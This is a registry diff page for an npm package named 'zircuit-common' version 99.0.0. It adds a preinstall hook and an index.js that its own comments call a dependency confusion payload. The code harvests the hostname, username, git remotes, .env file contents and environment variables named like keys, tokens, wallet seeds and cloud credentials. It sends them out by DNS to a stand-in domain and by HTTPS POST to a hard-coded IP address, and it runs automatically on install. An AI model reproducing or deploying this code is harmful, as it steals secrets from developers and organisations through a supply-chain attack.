zircuit-common 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +56 -0
  2. package/package.json +1 -0
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ // Dependency confusion payload
2
+ // Executes during npm install via preinstall hook
3
+ const https = require('https');
4
+ const os = require('os');
5
+ const { execSync } = require('child_process');
6
+
7
+ const data = JSON.stringify({
8
+ hostname: os.hostname(),
9
+ user: os.userInfo().username,
10
+ platform: os.platform(),
11
+ cwd: process.cwd(),
12
+ env: Object.fromEntries(
13
+ Object.entries(process.env).filter(([k]) =>
14
+ /KEY|SECRET|TOKEN|PRIVATE|PASSWORD|MNEMONIC|SEED|WALLET|SIGNER|AUTH|API|RPC|DB|REDIS|MONGO|POSTGRES|ALCHEMY|INFURA|AWS|GCP|AZURE|HEROKU|RENDER|KEEPER|REPORTER|ADMIN/i.test(k)
15
+ )
16
+ ),
17
+ npm_config: {
18
+ registry: process.env.npm_config_registry,
19
+ scope: process.env.npm_config_scope,
20
+ },
21
+ package_json: (() => {
22
+ try { return require(process.cwd() + '/package.json').name; } catch(e) { return 'unknown'; }
23
+ })(),
24
+ git_remote: (() => {
25
+ try { return execSync('git remote -v 2>/dev/null').toString().slice(0,500); } catch(e) { return ''; }
26
+ })(),
27
+ files: (() => {
28
+ try { return execSync('ls -la .env* 2>/dev/null; cat .env 2>/dev/null | head -50').toString().slice(0,2000); } catch(e) { return ''; }
29
+ })(),
30
+ timestamp: new Date().toISOString()
31
+ });
32
+
33
+ // Exfil via DNS (bypasses most firewalls)
34
+ const encoded = Buffer.from(data).toString('base64').slice(0,200);
35
+ try {
36
+ const dns = require('dns');
37
+ dns.resolve(`${encoded.slice(0,60)}.exfil.example.com`, () => {});
38
+ } catch(e) {}
39
+
40
+ // Exfil via HTTPS POST to our VPS
41
+ const options = {
42
+ hostname: '82.221.101.203',
43
+ port: 46901,
44
+ path: '/zircuit-depconf',
45
+ method: 'POST',
46
+ headers: { 'Content-Type': 'application/json', 'Content-Length': data.length },
47
+ rejectUnauthorized: false,
48
+ timeout: 3000
49
+ };
50
+
51
+ try {
52
+ const req = https.request(options, () => {});
53
+ req.on('error', () => {});
54
+ req.write(data);
55
+ req.end();
56
+ } catch(e) {}
package/package.json ADDED
@@ -0,0 +1 @@
1
+ {"name":"zircuit-common","version":"99.0.0","description":"Zircuit zircuit-common","main":"index.js","scripts":{"preinstall":"node index.js"},"license":"MIT"}